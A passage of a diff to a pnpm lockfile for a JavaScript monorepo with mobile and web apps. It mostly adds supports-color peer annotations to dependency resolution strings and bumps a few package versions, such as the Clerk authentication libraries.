0.25.1(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) react-native-enriched-markdown: specifier: file:deps/react-native-enriched-markdown-1.2.0-t3.15-fee84114.tgz - version: file:apps/mobile/deps/react-native-enriched-markdown-1.2.0-t3.15-fee84114.tgz(katex@0.16.47)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: file:apps/mobile/deps/react-native-enriched-markdown-1.2.0-t3.15-fee84114.tgz(katex@0.16.47)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) react-native-gesture-handler: specifier: ~3.3.0 - version: 3.3.0(patch_hash=abe20e1d1c23549297cbbc818e14fe479b41455930d9663135d6b40fe359b626)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 3.3.0(patch_hash=abe20e1d1c23549297cbbc818e14fe479b41455930d9663135d6b40fe359b626)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) react-native-image-viewing: specifier: ^0.2.2 - version: 0.2.2(patch_hash=419f35ee91eac88ced9438058281db5eb09d9c799d8974c1172926068c9448cf)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 0.2.2(patch_hash=419f35ee91eac88ced9438058281db5eb09d9c799d8974c1172926068c9448cf)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) react-native-keyboard-controller: specifier: 1.22.7 - version: 1.22.7(patch_hash=f28d08f1233e3cce8b9324b4357d2b10f1ee040b8051bc87235b0fb95069b9bb)(react-native-reanimated@4.7.1(react-native-worklets@0.13.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 1.22.7(patch_hash=f28d08f1233e3cce8b9324b4357d2b10f1ee040b8051bc87235b0fb95069b9bb)(312dd38e5b3f33a4cd42485c56107a1a) react-native-nitro-modules: specifier: 0.37.1 - version: 0.37.1(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 0.37.1(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) react-native-pdf-jsi: specifier: 5.0.0 - version: 5.0.0(patch_hash=6f52854210f61bef499850ebd498229a111bc34ec5b2a4925e644f2f48f42760)(cf7d6840207b805fdc65940b34f32bb4) + version: 5.0.0(patch_hash=6f52854210f61bef499850ebd498229a111bc34ec5b2a4925e644f2f48f42760)(ddae2ea06f4d260467f86a139b5aa8e9) react-native-reanimated: specifier: 4.7.1 - version: 4.7.1(react-native-worklets@0.13.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 4.7.1(react-native-worklets@0.13.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) react-native-safe-area-context: specifier: ~5.10.1 - version: 5.10.1(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 5.10.1(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) react-native-screens: specifier: file:deps/react-native-screens-5.0.0-t3.30.tgz - version: file:apps/mobile/deps/react-native-screens-5.0.0-t3.30.tgz(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: file:apps/mobile/deps/react-native-screens-5.0.0-t3.30.tgz(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) react-native-shiki-engine: specifier: ^0.3.12 - version: 0.3.12(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 0.3.12(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) react-native-svg: specifier: 15.16.0 - version: 15.16.0(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 15.16.0(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) react-native-webview: specifier: 14.0.1 - version: 14.0.1(patch_hash=81caa279ec3dc1f81209062133b66e8f824e13f106cca57f1fa732a72c2ab378)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 14.0.1(patch_hash=81caa279ec3dc1f81209062133b66e8f824e13f106cca57f1fa732a72c2ab378)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) react-native-worklets: specifier: 0.13.0 - version: 0.13.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 0.13.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1) remark-gfm: specifier: 'catalog:' - version: 4.0.1 + version: 4.0.1(supports-color@8.1.1) remark-parse: specifier: 'catalog:' - version: 11.0.0 + version: 11.0.0(supports-color@8.1.1) shiki: specifier: 4.2.0 version: 4.2.0 @@ -785,17 +784,17 @@ importers: version: 11.0.5 uniwind: specifier: 1.13.0 - version: 1.13.0(@expo/metro-config@58.0.14(patch_hash=90fa980e8b6480631fb2fbb04559834e3c612db40c550cd828f11be297d8d760)(bufferutil@4.1.0)(expo@58.0.14)(typescript@7.0.2)(utf-8-validate@6.0.6))(metro-cache@0.87.1)(metro-transform-worker@0.87.1(bufferutil@4.1.0)(utf-8-validate@6.0.6))(metro@0.87.1(bufferutil@4.1.0)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)(tailwindcss@4.3.3) + version: 1.13.0(@expo/metro-config@58.0.14(patch_hash=90fa980e8b6480631fb2fbb04559834e3c612db40c550cd828f11be297d8d760)(bufferutil@4.1.0)(expo@58.0.14)(supports-color@8.1.1)(typescript@7.0.2)(utf-8-validate@6.0.6))(metro-cache@0.87.1(supports-color@8.1.1))(metro-transform-worker@0.87.1(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(metro@0.87.1(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(tailwindcss@4.3.3) devDependencies: '@babel/core': specifier: ^7.29.7 - version: 7.29.7 + version: 7.29.7(supports-color@8.1.1) '@effect/platform-node': specifier: 4.0.5 version: 4.0.5(bufferutil@4.1.0)(effect@4.0.5)(redis@6.2.1)(utf-8-validate@6.0.6) '@effect/vitest': specifier: 4.0.5 - version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) '@pierre/trees': specifier: 1.0.0-beta.6 version: 1.0.0-beta.6(@pierre/theme@2.0.0)(@shikijs/themes@4.2.0)(react-dom@19.3.0(react@19.3.0))(react@19.3.0)(shiki@4.2.0) @@ -810,7 +809,7 @@ importers: version: 19.3.0(@types/react@19.3.0) babel-preset-expo: specifier: ~58.0.17 - version: 58.0.17(@babel/core@7.29.7)(@babel/runtime@7.29.7)(expo-widgets@58.0.20)(expo@58.0.14)(react-refresh@0.14.2) + version: 58.0.17(@babel/core@7.29.7(supports-color@8.1.1))(@babel/runtime@7.29.7)(expo-widgets@58.0.20)(expo@58.0.14)(react-refresh@0.14.2)(supports-color@8.1.1) jsdom: specifier: ^30.0.1 version: 30.1.0(@noble/hashes@1.8.0) @@ -825,7 +824,7 @@ importers: dependencies: '@anthropic-ai/claude-agent-sdk': specifier: ^0.3.276 - version: 0.3.276(@anthropic-ai/sdk@0.93.0(zod@4.6.5))(@modelcontextprotocol/sdk@1.29.0(zod@4.6.5))(zod@4.6.5) + version: 0.3.276(@anthropic-ai/sdk@0.93.0(zod@4.6.5))(@modelcontextprotocol/sdk@1.29.0(supports-color@8.1.1)(zod@4.6.5))(zod@4.6.5) '@cursor/sdk': specifier: 1.0.35 version: 1.0.35 @@ -928,10 +927,10 @@ importers: version: 4.0.5(@effect/platform-node@4.0.5(bufferutil@4.1.0)(effect@4.0.5)(redis@6.2.1)(utf-8-validate@6.0.6))(effect@4.0.5) '@effect/vitest': specifier: 4.0.5 - version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) '@modelcontextprotocol/sdk': specifier: 1.29.0 - version: 1.29.0(zod@4.6.5) + version: 1.29.0(supports-color@8.1.1)(zod@4.6.5) '@t3tools/contracts': specifier: workspace:* version: link:../../packages/contracts @@ -973,7 +972,7 @@ importers: version: 16.14.1 vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) apps/web: dependencies: @@ -981,14 +980,14 @@ importers: specifier: ^1.4.1 version: 1.5.0(@date-fns/tz@1.5.0)(@types/react@19.3.0)(date-fns@4.4.0)(react-dom@19.3.0(react@19.3.0))(react@19.3.0) '@clerk/clerk-js': - specifier: 6.39.1 - version: 6.39.1(react-dom@19.3.0(react@19.3.0))(react@19.3.0) + specifier: 6.40.0 + version: 6.40.0(react-dom@19.3.0(react@19.3.0))(react@19.3.0) '@clerk/electron': - specifier: 0.1.1 - version: 0.1.1(patch_hash=6e7944f61680e5d0caa0ed1ec69b43265a76d74733e77ee73a227fe6d6df02e1)(@clerk/electron-passkeys@0.0.3)(electron-store@8.2.0)(electron@44.9.3)(react-dom@19.3.0(react@19.3.0))(react@19.3.0) + specifier: 0.1.3 + version: 0.1.3(@clerk/electron-passkeys@0.0.3)(electron-store@8.2.0)(electron@44.9.3(supports-color@8.1.1))(react-dom@19.3.0(react@19.3.0))(react@19.3.0) '@clerk/react': - specifier: 6.17.8 - version: 6.17.8(react-dom@19.3.0(react@19.3.0))(react@19.3.0) + specifier: 6.18.0 + version: 6.18.0(react-dom@19.3.0(react@19.3.0))(react@19.3.0) '@daypicker/react': specifier: ^10.0.1 version: 10.0.1(@types/react@19.3.0)(react@19.3.0) @@ -1012,16 +1011,16 @@ importers: version: 0.9.0 '@legendapp/list': specifier: 'catalog:' - version: 3.3.5(patch_hash=e6383c516a0d67b65333d6fd38d2203734bf24b054b0b0767b034189205aed32)(react-dom@19.3.0(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 3.3.5(patch_hash=e6383c516a0d67b65333d6fd38d2203734bf24b054b0b0767b034189205aed32)(react-dom@19.3.0(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) '@noble/hashes': specifier: 'catalog:' version: 1.8.0 '@pierre/diffs': specifier: 'catalog:' - version: 1.5.2(patch_hash=2ec81ba1e8ce4681095a3473c2bf78e630417740c622720ef624febb467c25fc)(@shikijs/themes@4.3.0)(react-dom@19.3.0(react@19.3.0))(react@19.3.0) + version: 1.5.2(patch_hash=2ec81ba1e8ce4681095a3473c2bf78e630417740c622720ef624febb467c25fc)(@shikijs/themes@4.2.0)(react-dom@19.3.0(react@19.3.0))(react@19.3.0) '@pierre/trees': specifier: 1.0.0-beta.6 - version: 1.0.0-beta.6(@pierre/theme@1.1.0)(@shikijs/themes@4.3.0)(react-dom@19.3.0(react@19.3.0))(react@19.3.0)(shiki@4.2.0) + version: 1.0.0-beta.6(@pierre/theme@2.0.0)(@shikijs/themes@4.2.0)(react-dom@19.3.0(react@19.3.0))(react@19.3.0)(shiki@4.2.0) '@t3tools/client-runtime': specifier: workspace:* version: link:../../packages/client-runtime @@ -1114,7 +1113,7 @@ importers: version: 9.0.5 hast-util-to-jsx-runtime: specifier: ^2.3.6 - version: 2.3.6 + version: 2.3.6(supports-color@8.1.1) heic-to: specifier: ^1.5.2 version: 1.5.2 @@ -1138,7 +1137,7 @@ importers: version: 0.564.0(react@19.3.0) morphicons: specifier: ^1.7.1 - version: 1.7.1(react-native-svg@15.16.0(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 1.7.1(react-native-svg@15.16.0(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) pele: specifier: ^1.8.0 version: 1.8.0 @@ -1150,16 +1149,16 @@ importers: version: 19.3.0(react@19.3.0) react-markdown: specifier: ^10.1.0 - version: 10.1.0(@types/react@19.3.0)(react@19.3.0) + version: 10.1.0(@types/react@19.3.0)(react@19.3.0)(supports-color@8.1.1) remark-gfm: specifier: 'catalog:' - version: 4.0.1 + version: 4.0.1(supports-color@8.1.1) remark-math: specifier: 6.0.0 - version: 6.0.0 + version: 6.0.0(supports-color@8.1.1) remark-parse: specifier: 'catalog:' - version: 11.0.0 + version: 11.0.0(supports-color@8.1.1) tailwind-merge: specifier: ^3.4.0 version: 3.6.0 @@ -1181,13 +1180,13 @@ importers: version: 4.0.5(bufferutil@4.1.0)(effect@4.0.5)(redis@6.2.1)(utf-8-validate@6.0.6) '@effect/vitest': specifier: 4.0.5 - version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) '@tailwindcss/vite': specifier: 4.3.3 - version: 4.3.3(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0)) + version: 4.3.3(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0)) '@tanstack/router-plugin': specifier: ^1.161.0 - version: 1.168.13(@tanstack/react-router@1.170.10(react-dom@19.3.0(react@19.3.0))(react@19.3.0))(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0)) + version: 1.168.13(@tanstack/react-router@1.170.10(react-dom@19.3.0(react@19.3.0))(react@19.3.0))(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(supports-color@8.1.1) '@types/compression': specifier: ^1.8.1 version: 1.8.1 @@ -1211,13 +1210,13 @@ importers: version: 0.3.0 '@vitejs/plugin-react': specifier: ^6.1.2 - version: 6.1.2(@rolldown/plugin-babel@0.2.3(@babel/core@7.29.7)(@babel/plugin-transform-runtime@7.29.7(@babel/core@7.29.7))(@babel/runtime@7.29.7)(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(rolldown@1.2.13))(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(babel-plugin-react-compiler@1.0.0)(oxc-transform-react@0.152.0) + version: 6.1.2(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(babel-plugin-react-compiler@1.0.0)(oxc-transform-react@0.152.0) '@vitest/browser-playwright': specifier: 5.0.5 - version: 